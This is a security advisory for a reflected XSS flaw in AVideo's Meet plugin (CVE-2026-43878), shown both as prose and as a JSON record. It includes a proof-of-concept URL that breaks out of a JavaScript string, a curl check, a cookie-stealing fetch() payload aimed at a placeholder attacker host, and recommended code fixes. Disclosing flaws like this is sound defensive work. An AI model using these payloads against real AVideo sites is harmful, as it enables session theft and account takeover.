GHSA-MM5F-8Q57-4FC4

Vulnerability from github – Published: 2026-05-05 19:15 – Updated: 2026-05-13 14:19
VLAI
Summary
Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal
Details

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}
// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

  • Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"): php if ($meet->getPublic() == "2") { $obj->canJoin = true; $obj->reason = "Is public"; return $obj; }
  • Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
  • validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow: 1. document.location = "CHANNEL_URL?user="; — assignment completes. 2. } — closes _readyToClose. 3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called). 4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

  1. Attacker sends victim the following URL: https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x URL-decoded user payload: ";}alert(1);function a(){"

  2. Server reflects the parameters unescaped into the script block on line 116.

  3. Victim's browser parses the script; alert(1) fires immediately on page load.

  4. Verification: $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \ | grep -A1 _readyToClose function _readyToClose() { document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x"; The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

  5. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload: user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

  • Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
  • Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
  • Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
  • Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:15:56Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `\u003cscript\u003e` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim\u0027s browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 \u2014 `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST[\u0027user\u0027]` and `$_REQUEST[\u0027pass\u0027]` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user={$_REQUEST[\u0027user\u0027]}\u0026pass={$_REQUEST[\u0027pass\u0027]}\";\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 \u2014 `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet-\u003egetUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global[\u0027webSiteRootURL\u0027]}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"\u003c?php echo $readyToClose; ?\u003e\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) \u2014 the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet-\u003egetPublic() == \"2\") {\n      $obj-\u003ecanJoin = true;\n      $obj-\u003ereason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"\u0026pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` \u2014 assignment completes.\n2. `}` \u2014 closes `_readyToClose`.\n3. `alert(1);` \u2014 executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"\u0026pass=x\";}` \u2014 declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `\u0026meet_password=\u003cknown\u003e` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim\u0027s browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s \u0027https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\u0027 \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"\u0026pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch(\u0027https%3A%2F%2Fattacker%2Fc%3D\u0027%2Bdocument.cookie)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim\u0027s session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password \u2192 account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule \u2014 which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = \u003c?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?\u003e;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `\u003c`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user=\" . rawurlencode($_REQUEST[\u0027user\u0027])\n                . \"\u0026pass=\" . rawurlencode($_REQUEST[\u0027pass\u0027]);\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST[\u0027user\u0027]` / `$_REQUEST[\u0027pass\u0027]`) for similar sinks.",
  "id": "GHSA-mm5f-8q57-4fc4",
  "modified": "2026-05-13T14:19:47Z",
  "published": "2026-05-05T19:15:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…